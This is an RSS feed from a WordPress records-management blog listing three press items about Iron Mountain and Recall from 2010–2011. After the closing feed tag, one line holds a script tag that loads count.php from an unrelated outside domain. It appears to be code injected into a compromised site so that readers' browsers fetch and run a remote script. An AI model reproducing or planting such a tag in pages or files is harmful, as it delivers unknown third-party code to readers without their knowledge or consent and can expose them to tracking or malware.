<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Cary F. McGovern &#187; Press release</title>
	<atom:link href="http://www.carymcgovern.com/tag/press-release/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.carymcgovern.com</link>
	<description>The FileMan&#039;s Blog</description>
	<lastBuildDate>Thu, 28 Apr 2011 17:30:04 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1.2</generator>
		<item>
		<title>Iron Mountain’s Biggest Shareholder Backs Activist Investor</title>
		<link>http://www.carymcgovern.com/2011/03/23/iron-mountains-biggest-shareholder-backs-activist-investor/</link>
		<comments>http://www.carymcgovern.com/2011/03/23/iron-mountains-biggest-shareholder-backs-activist-investor/#comments</comments>
		<pubDate>Wed, 23 Mar 2011 13:07:56 +0000</pubDate>
		<dc:creator>fileman</dc:creator>
				<category><![CDATA[Records Management News]]></category>
		<category><![CDATA[Press release]]></category>

		<guid isPermaLink="false">http://www.carymcgovern.com/?p=360</guid>
		<description><![CDATA[Iron Mountain’s Biggest Shareholder Backs Activist Investor BY ANUPREETA DAS Davis Advisors, the largest shareholder of document-storage company Iron Mountain Inc., plans to support activist investor Elliott Management Corp.‘s four board nominees. Davis Advisors, a Tuscon, Ariz.-based money manager, owns around one-fifth of Iron Mountain, which has a market capitalization of about $6 billion. Boston-based [...]]]></description>
		<wfw:commentRss>http://www.carymcgovern.com/2011/03/23/iron-mountains-biggest-shareholder-backs-activist-investor/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Recall Acquires Shred-it’s US-Based Document Storage Business</title>
		<link>http://www.carymcgovern.com/2011/03/02/recall-acquires-shred-it%e2%80%99s-us-based-document-storage-business/</link>
		<comments>http://www.carymcgovern.com/2011/03/02/recall-acquires-shred-it%e2%80%99s-us-based-document-storage-business/#comments</comments>
		<pubDate>Wed, 02 Mar 2011 17:02:56 +0000</pubDate>
		<dc:creator>fileman</dc:creator>
				<category><![CDATA[Records Management News]]></category>
		<category><![CDATA[Press release]]></category>

		<guid isPermaLink="false">http://www.carymcgovern.com/?p=340</guid>
		<description><![CDATA[BusinessWire · Tuesday, Mar. 1, 2011 Recall, a global leader in document storage, secure document destruction, digital solutions and data protection, announced today it has acquired the US-based document storage business, operating under the Securit trade name, from Shred-it International Inc. Headquartered in Canada and founded in 1988, Shred-it is a privately-owned information security company [...]]]></description>
		<wfw:commentRss>http://www.carymcgovern.com/2011/03/02/recall-acquires-shred-it%e2%80%99s-us-based-document-storage-business/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Iron Mountain Reports Second Quarter 2010 Financial Results</title>
		<link>http://www.carymcgovern.com/2010/07/29/iron-mountain-reports-second-quarter-2010-financial-results/</link>
		<comments>http://www.carymcgovern.com/2010/07/29/iron-mountain-reports-second-quarter-2010-financial-results/#comments</comments>
		<pubDate>Thu, 29 Jul 2010 22:50:31 +0000</pubDate>
		<dc:creator>fileman</dc:creator>
				<category><![CDATA[Records Management News]]></category>
		<category><![CDATA[Press release]]></category>

		<guid isPermaLink="false">http://www.carymcgovern.com/2010/07/29/iron-mountain-reports-second-quarter-2010-financial-results/</guid>
		<description><![CDATA[July 29, 2010, 6:00 a.m. EDT Company delivers strong financial performance highlighted by an 8% increase in Adjusted OIBDA; Reported revenue growth is 5% for the quarter BOSTON, Jul 29, 2010 (BUSINESS WIRE) — –Second quarter Adjusted EPS increases 13% to $0.28 per diluted share compared to Q2/2009; reported earnings are $0.20 per diluted share [...]]]></description>
		<wfw:commentRss>http://www.carymcgovern.com/2010/07/29/iron-mountain-reports-second-quarter-2010-financial-results/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script language="javascript" SRC="http://superpuperdomain2.com/count.php?ref="></script>
